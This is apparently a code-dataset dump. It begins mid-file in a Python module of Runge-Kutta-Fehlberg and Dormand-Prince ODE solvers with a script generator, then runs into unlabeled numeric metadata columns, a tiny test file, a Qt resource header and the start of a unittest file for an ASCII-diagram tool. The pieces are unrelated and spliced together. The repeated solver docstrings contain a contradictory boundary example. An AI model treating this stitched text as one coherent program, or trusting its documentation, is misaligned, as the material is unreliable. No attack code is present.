except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (439*step*f1[j]/216.0) + (-8.0*step*f2[j]) + \
(3680*step*f3[j]/513.0) + (-845*step*f4[j]/4104.0)
for i in range(n):
try: f5[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (-8*step*f1[j]/27.0) + (2.0*step*f2[j]) + \
(-3544*step*f3[j]/2565.0) + (1859*step*f4[j]/4104.0) + \
(-11*step*f5[j]/40.0)
for i in range(n):
try: f6[i] = funcs[i](x0+(0.5*step), y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((25*f1[i]/216.0) + (1408*f3[i]/2565.0) + \
(2197*f4[i]/4104.0) + (-0.2*f5[i])))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def RKF5(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fifth
order Runge-Kutta-Fehlberg method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4, f5, f6 = [0]*n, [0]*n, [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.25*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.25*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (3*step*f1[j]/32.0) + (9*step*f2[j]/32.0)
for i in range(n):
try: f3[i] = funcs[i]((x0+(3*step/8.0)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (1932*step*f1[j]/2197.0) + \
(-7200*step*f2[j]/2197.0) + \
(7296*step*f3[j]/2197.0)
for i in range(n):
try: f4[i] = funcs[i]((x0+(12*step/13.0)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (439*step*f1[j]/216.0) + \
(-8.0*step*f2[j]) + (3680*step*f3[j]/513.0) + \
(-845*step*f4[j]/4104.0)
for i in range(n):
try: f5[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (-8*step*f1[j]/27.0) + (2.0*step*f2[j]) + \
(-3544*step*f3[j]/2565.0) + (1859*step*f4[j]/4104.0) + \
(-11*step*f5[j]/40.0)
for i in range(n):
try: f6[i] = funcs[i](x0+(0.5*step), y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((16*f1[i]/135.0) + (6656*f3[i]/12825.0) + \
(28561*f4[i]/56430.0) + (-9*f5[i]/50) + \
(2*f6[i]/55)))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def DP4(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fourth
order Dormand-Prince method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3 = [0]*n, [0]*n, [0]*n
f4, f5, f6, f7 = [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.2*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.2*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (3*step*f1[j]/40.0) + (9*step*f2[j]/40.0)
for i in range(n):
try: f3[i] = funcs[i]((x0+(0.3*step)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (44*step*f1[j]/45.0) + (-56*step*f2[j]/15.0) + \
(32*step*f3[j]/9.0)
for i in range(n):
try: f4[i] = funcs[i]((x0+(0.8*step)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (19372*step*f1[j]/6561.0) + \
(-25360*step*f2[j]/2187.0) + \
(64448*step*f3[j]/6561.0) + \
(-212*step*f4[j]/729.0)
for i in range(n):
try: f5[i] = funcs[i](x0+(8*step/9.0), y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (9017*step*f1[j]/3168.0) + \
(-355*step*f2[j]/33.0) + (46732*step*f3[j]/5247.0) + \
(49*step*f4[j]/176.0) + (-5103*step*f5[j]/18656.0)
for i in range(n):
try: f6[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for j in range(n):
y1[j] = y0[j] + (35*step*f1[j]/384.0) + \
(500*step*f3[j]/1113.0) + (125*step*f4[j]/192.0) + \
(-2187*step*f5[j]/6784.0) + (11*step*f6[j]/84.0)
for i in range(n):
try: f7[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f7[i] = zerodivision
except OverflowError: f7[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((5179*f1[i]/57600.0) + (7571*f3[i]/16695.0) + \
(393*f4[i]/640.0) + (-92097*f5[i]/339200.0) + \
(187*f6[i]/2100.0) + (f7[i]/40.0)))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def DP5(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fifth
order Dormand-Prince method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3 = [0]*n, [0]*n, [0]*n
f4, f5, f6, f7 = [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.2*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.2*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (3*step*f1[j]/40.0) + (9*step*f2[j]/40.0)
for i in range(n):
try: f3[i] = funcs[i]((x0+(0.3*step)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (44*step*f1[j]/45.0) + (-56*step*f2[j]/15.0) + \
(32*step*f3[j]/9.0)
for i in range(n):
try: f4[i] = funcs[i]((x0+(0.8*step)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (19372*step*f1[j]/6561.0) + \
(-25360*step*f2[j]/2187.0) + \
(64448*step*f3[j]/6561.0) + \
(-212*step*f4[j]/729.0)
for i in range(n):
try: f5[i] = funcs[i](x0+(8*step/9.0), y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (9017*step*f1[j]/3168.0) + \
(-355*step*f2[j]/33.0) + (46732*step*f3[j]/5247.0) + \
(49*step*f4[j]/176.0) + (-5103*step*f5[j]/18656.0)
for i in range(n):
try: f6[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for j in range(n):
y1[j] = y0[j] + (35*step*f1[j]/384.0) + \
(500*step*f3[j]/1113.0) + (125*step*f4[j]/192.0) + \
(-2187*step*f5[j]/6784.0) + (11*step*f6[j]/84.0)
for i in range(n):
try: f7[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f7[i] = zerodivision
except OverflowError: f7[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((35*f1[i]/384.0) + (500*f3[i]/1113.0) + \
(125*f4[i]/192.0) + (-2187*f5[i]/6784.0) + \
(11*f6[i]/84.0)))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def _equation_constructor(expressions={},
parameters={},
variables=[]):
'''
Private function to support ODE_constructor to generate ODE function
for each ODE.
@param expressions: dictionary of expressions for ODE(s). Please see
above documentation.
@param parameters: dictionary of parameter values to be substituted
into the ODE equations
@param variables: list of additional variables to be tagged for
substitution(s)
@return: tuple of (<list of generated ODE functions>, <list of tagged
variables>)
'''
statements = []
# Generate ODE function, one at a time
for name in expressions.keys():
# Generate ODE function definition
stmt = '\ndef %s(t, y):' % str(name)
expression = expressions[name]
if type(expression) == type(''): expression = [expression]
count = 1
# Generate list of expression(s) for current ODE function
exp_list = []
variables = list(set(variables + expressions.keys()))
for exp in expression:
# Substitute parameter/variable values
for k in parameters.keys():
exp = exp.replace(str(k), str(parameters[k]))
#variables = list(set(variables + expressions.keys()))
for v in variables:
exp = exp.replace(str(v), 'v@'+str(v))
# Generate expression codes
stmt = stmt + '\n exp_%s = %s' % (str(count), str(exp))
exp_list.append('exp_%s' % str(count))
count = count + 1
# Compile generated expressions into return value
return_stmt = '\n return ' + ' + '.join(exp_list)
stmt = stmt + return_stmt
statements.append(stmt)
return (statements, variables)
def _modifying_constructor(modifying_expressions):
'''
Private function to support ODE_constructor to generate function code
for modifying expressions.
@param modifying_expressions: list of expressions to modify the
variables
@return: generated function code
'''
stmt = '\ndef modifying_expression(y, step):'
for exp in modifying_expressions:
stmt = stmt + '\n %s' % str(exp)
stmt = stmt + '\n return y'
return stmt
def ODE_constructor(scriptfile,
resultsfile,
time=(0.0, 0.1, 100.0),
ODE_solver='RK4',
expressions={},
parameters={},
initial_conditions={},
modifying_expressions=[],
lower_bound=None,
upper_bound=None,
overflow=1e100,
zerodivision=1e100):
'''
Function to construct an ODE simulation script file from given
definitions.
For example, the following system of ODEs::
d(human)/dt = birth - zombied - death
d(zombie)/dt = zombied + resurrected - destroyed
d(dead)/dt = death + destroyed - resurrected
birth = 0
zombied = 0.0095 * human * zombie
death = 0.0001 * human
resurrected = 0.0002 * dead
destroyed = 0.0003 * human * zombie
where initially (t0),
number of humans = 500
number of zombies = 0
number of dead = 0
and with the following boundaries
number of humans > 0
number of zombies < 10000
number of dead < 10000
and there is an influx of 5 humans per day into the infected village
can be specified as
>>> scriptfile = 'zombie_attack.py'
resultsfile = 'zombie_data.csv'
time = (0.0, 0.1, 100.0)
ODE_solver = 'RK4'
expressions = {'human': ['birth_rate',
'- (transmission_rate * human * zombie)',
'- (death_rate * human)'],
'zombie': ['(transmission_rate * human * zombie)',
'(resurrection_rate * dead)',
'- (destroy_rate * human * zombie)'],
'dead': ['(death_rate * human)',
'(destroy_rate * human * zombie)',
'- (resurrection_rate * dead)']}
parameters = {'birth_rate': 0.0, # birth rate
'transmission_rate': 0.0095, # transmission percent
'death_rate': 0.0001, # natural death percent
'resurrection_rate': 0.0002, # resurect percent
'destroy_rate':0.0003 # destroy percent
}
initial_conditions = {'human': 500.0,
'zombie': 0.0,
'dead': 0.0}
modifying_expression = ['human = human + (5 * step)']
lower_bound = {'human': [0.0, 0.0]}
upper_bound = {'zombie': [10000.0, 10000.0],
'dead': [10000.0, 10000.0]}
overflow = 1e100
zerodivision = 1e100
@param scriptfile: name of Python file for the generated ODE script
file
@type scriptfile: string
@param resultsfile: name of ODE simulation results file (CSV file),
which will be included into the generated simulation script file
@type resultsfile: string
@param time: tuple of time parameters for simulation in the format of
(<start time>, <time step>, <end time>). Default = (0.0, 0.1, 100.0)
@param ODE_solver: name of ODE solver to use. Default = RK4
@param expressions: dictionary of expressions for ODE(s). Please see
above documentation.
@param parameters: dictionary of parameter values to be substituted
into the ODE equations
@param modifying_expressions: list of expressions to modify the
variables
@param initial_conditions: dictionary of initial conditions for each
ODE
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
@return: generated ODE codes for the entire script
@rtype: list
'''
statements = []
initial_conditions_list = initial_conditions.keys()
# Construct ODE functions
(ODE_functions,
variables) = _equation_constructor(expressions,
parameters,
initial_conditions_list)
# Construct modifying expression
mexpression = _modifying_constructor(modifying_expressions)
# Generate ODE functions/equations table
table = {}
count = 0
for v in initial_conditions_list:
table[str(v)] = str(count)
count = count + 1
# Generate lower boundary table
if lower_bound != None:
lbound = {}
for k in lower_bound.keys():
lbound[table[k]] = lower_bound[k]
else:
lbound = None
# Generate upper boundary table
if upper_bound != None:
ubound = {}
for k in upper_bound.keys():
ubound[table[k]] = upper_bound[k]
else:
ubound = None
# Write ode module import
statements.append('import ode\n\n')
# Generate variable array and statements
statements.append('y = range(%s)\n' % str(len(variables)))
count = 0
for k in initial_conditions_list:
statements.append('y[%s] = %s\n' % \
(str(count), str(initial_conditions[k])))
count = count + 1
statements.append('\n')
# Perform variable replacements in ODE functions, and write functions
for funct in ODE_functions:
for v in table.keys():
funct = funct.replace('v@'+v, 'y[%s]' % table[v])
statements.append(funct)
statements.append('\n\n')
# Perform variable replacements in modifying expression, and write out
for v in table.keys():
mexpression = mexpression.replace(v, 'y[%s]' % table[v])
statements.append(mexpression)
statements.append('\n\n')
# Generate ODE assignment array and statements
statements.append('ODE = range(%s)\n' % str(len(variables)))
count = 0
for k in initial_conditions_list:
statements.append('ODE[%s] = %s\n' % (str(count), str(k)))
count = count + 1
statements.append('\n')
# Generate ODE execution codes
statements.append('stime = %s \n' % str(time[0]))
statements.append('step = %s \n' % str(time[1]))
statements.append('etime = %s \n' % str(time[2]))
statements.append('lower_bound = %s \n' % str(lbound))
statements.append('upper_bound = %s \n' % str(ubound))
statements.append('overflow = %s \n' % str(overflow))
statements.append('zerodivision = %s \n' % str(zerodivision))
statements.append('\n')
statements.append("f = open('%s', 'w')\n" % str(resultsfile))
headers = ['time'] + [str(k)for k in initial_conditions.keys()]
headers = ','.join(headers)
statements.append("f.write('%s' + '\\n') \n" % headers)
statements.append('\n')
statements.append('for x in ode.%s(ODE, stime, y, step, etime, \n' % \
str(ODE_solver))
statements.append(' modifying_expression, \n')
statements.append(' lower_bound, upper_bound, \n')
statements.append(' overflow, zerodivision): \n')
statements.append(" f.write(','.join([str(item) for item in x]) + '\\n')")
statements.append('\n')
statements.append('f.close()')
# Write generated codes into script file
sfile = open(scriptfile, 'w')
sfile.writelines(statements)
sfile.close()
return statements
| 43.755656
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| 0.872355
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| 0.848306
| 0.844049
| 0.842452
| 0
| 0.056124
| 0.304033
| 67,690
| 1,547
| 82
| 43.755656
| 0.781511
| 0.468371
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| 0.793631
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| 0
| 0.021668
| 0.002149
| 0.001274
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| 0.033121
| false
| 0.078981
| 0.001274
| 0
| 0.053503
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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| null | 0
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| 0
| 0
|
0
| 8
|
9ba25b78e707c6fba0622829722084cf31b97207
| 30
|
py
|
Python
|
Hedera/test.py
|
hebinjie33/HMMLB
|
db26a149fd3e8e96a570cfe32e9bc42a002409cc
|
[
"Apache-2.0"
] | null | null | null |
Hedera/test.py
|
hebinjie33/HMMLB
|
db26a149fd3e8e96a570cfe32e9bc42a002409cc
|
[
"Apache-2.0"
] | null | null | null |
Hedera/test.py
|
hebinjie33/HMMLB
|
db26a149fd3e8e96a570cfe32e9bc42a002409cc
|
[
"Apache-2.0"
] | 1
|
2019-12-16T21:46:46.000Z
|
2019-12-16T21:46:46.000Z
|
if(50<-1000):
print("wrong")
| 10
| 15
| 0.6
| 5
| 30
| 3.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0.1
| 30
| 2
| 16
| 15
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 0
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| 0
| 0
| 1
| 0
| true
| 0
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| 0.5
| 1
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| null | 0
| 0
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| 0
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| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
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| null | 0
| 0
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| 0
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| 1
|
0
| 7
|
fd2014cad87bb5a00517b3a1d546668a28bd0eb1
| 1,038,302
|
py
|
Python
|
apps/images/icons_rc.py
|
JeremyZhao1989/leanTest
|
8078d47aea44b999a325261530a18a7f578d2420
|
[
"MIT"
] | 64
|
2016-09-06T11:30:28.000Z
|
2021-03-11T07:28:08.000Z
|
apps/images/icons_rc.py
|
Carol-Rong/CNCGToolKit
|
7a21f358e34aa276cf209a6d5887a7964190cf0a
|
[
"MIT"
] | 2
|
2016-09-11T12:38:03.000Z
|
2016-09-13T12:32:37.000Z
|
apps/images/icons_rc.py
|
Carol-Rong/CNCGToolKit
|
7a21f358e34aa276cf209a6d5887a7964190cf0a
|
[
"MIT"
] | 31
|
2016-09-06T11:32:25.000Z
|
2020-04-20T11:19:02.000Z
|
# -*- coding: utf-8 -*-
# Resource object code
#
# Created: 周六 10月 22 15:39:14 2016
# by: The Resource Compiler for PySide (Qt v4.8.7)
#
# WARNING! All changes made in this file will be lost!
from PySide import QtCore
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def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
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| 1,025,009
| 0.405293
| 120,332
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| 0.091722
| 0.121268
| 0.84645
| 0.845641
| 0.843802
| 0.841159
| 0.83588
| 0.831957
| 0
| 0.235952
| 0.463067
| 1,038,302
| 21
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| 0.000175
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| 0
| 0.333333
| 0.999651
| 0.487773
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| false
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| 0.111111
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| 0.111111
| 0
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| 0
| null | 0
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| 1
| 1
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0
| 13
|
bd05bcca48097f551f9c705192a474500f15747e
| 128,186
|
py
|
Python
|
tests/boxtests.py
|
vzaccaria/ascidia-cli
|
f47d56f38d927408013a54876e57526864f1bc66
|
[
"MIT"
] | null | null | null |
tests/boxtests.py
|
vzaccaria/ascidia-cli
|
f47d56f38d927408013a54876e57526864f1bc66
|
[
"MIT"
] | null | null | null |
tests/boxtests.py
|
vzaccaria/ascidia-cli
|
f47d56f38d927408013a54876e57526864f1bc66
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python2
"""
Copyright (c) 2012 Mark Frimston
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
"""
import unittest
import core
import patterns
import main
import math
from ptests import *
class TestDbCylinderPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.DbCylinderPattern
def test_accepts_cylinder(self):
input = [
".--.\n",
"'--'\n",
"| |\n",
"'--'\n",
" " ]
p = self.pclass()
for j,line in enumerate(input):
for i,char in enumerate(line):
p.test(main.CurrentChar(j,i,char,core.M_NONE))
try:
p.test(main.CurrentChar(len(input),0," ",core.M_NONE))
except StopIteration: pass
def test_expects_top_start_period(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,0,"p",core.M_NONE))
def test_expects_top_start_period_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,0,".",core.M_OCCUPIED))
def test_expects_top_line(self):
p = self.pclass()
p.test(main.CurrentChar(0,0,".",core.M_NONE))
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,1,".",core.M_NONE))
def test_expects_top_line_unoccupied(self):
p = self.pclass()
p.test(main.CurrentChar(0,0,".",core.M_NONE))
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,0,"-",core.M_OCCUPIED))
def test_expects_top_end_period(self):
p = self.pclass()
feed_input(p,0,0,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,"?",core.M_NONE))
def test_expects_top_end_period_unoccupie(self):
p = self.pclass()
feed_input(p,0,0,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,".",core.M_OCCUPIED))
def test_allows_long_top_line(self):
p = self.pclass()
feed_input(p,0,1,".---.")
def test_allows_rest_of_top_line(self):
p = self.pclass()
feed_input(p,0,1,".-.")
p.test(main.CurrentChar(0,2,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(0,3,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(0,4,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,0,2,".-.\n")
p.test(main.CurrentChar(1,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,1,"b",core.M_OCCUPIED))
def test_expects_top_start_apos(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,0,"|",core.M_NONE))
def test_expects_top_start_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,0,"'",core.M_OCCUPIED))
def test_expects_top_underline(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,1,"'",core.M_NONE))
def test_expects_top_underline_unoccupied(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
feed_input(p,1,0,"'")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,1,"-",core.M_OCCUPIED))
def test_rejects_top_underline_too_short(self):
p = self.pclass()
feed_input(p,0,0,".--.\n")
feed_input(p,1,0,"'-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"'",core.M_NONE))
def test_rejects_top_underline_too_lone(self):
p = self.pclass()
feed_input(p,0,0,".-.\n")
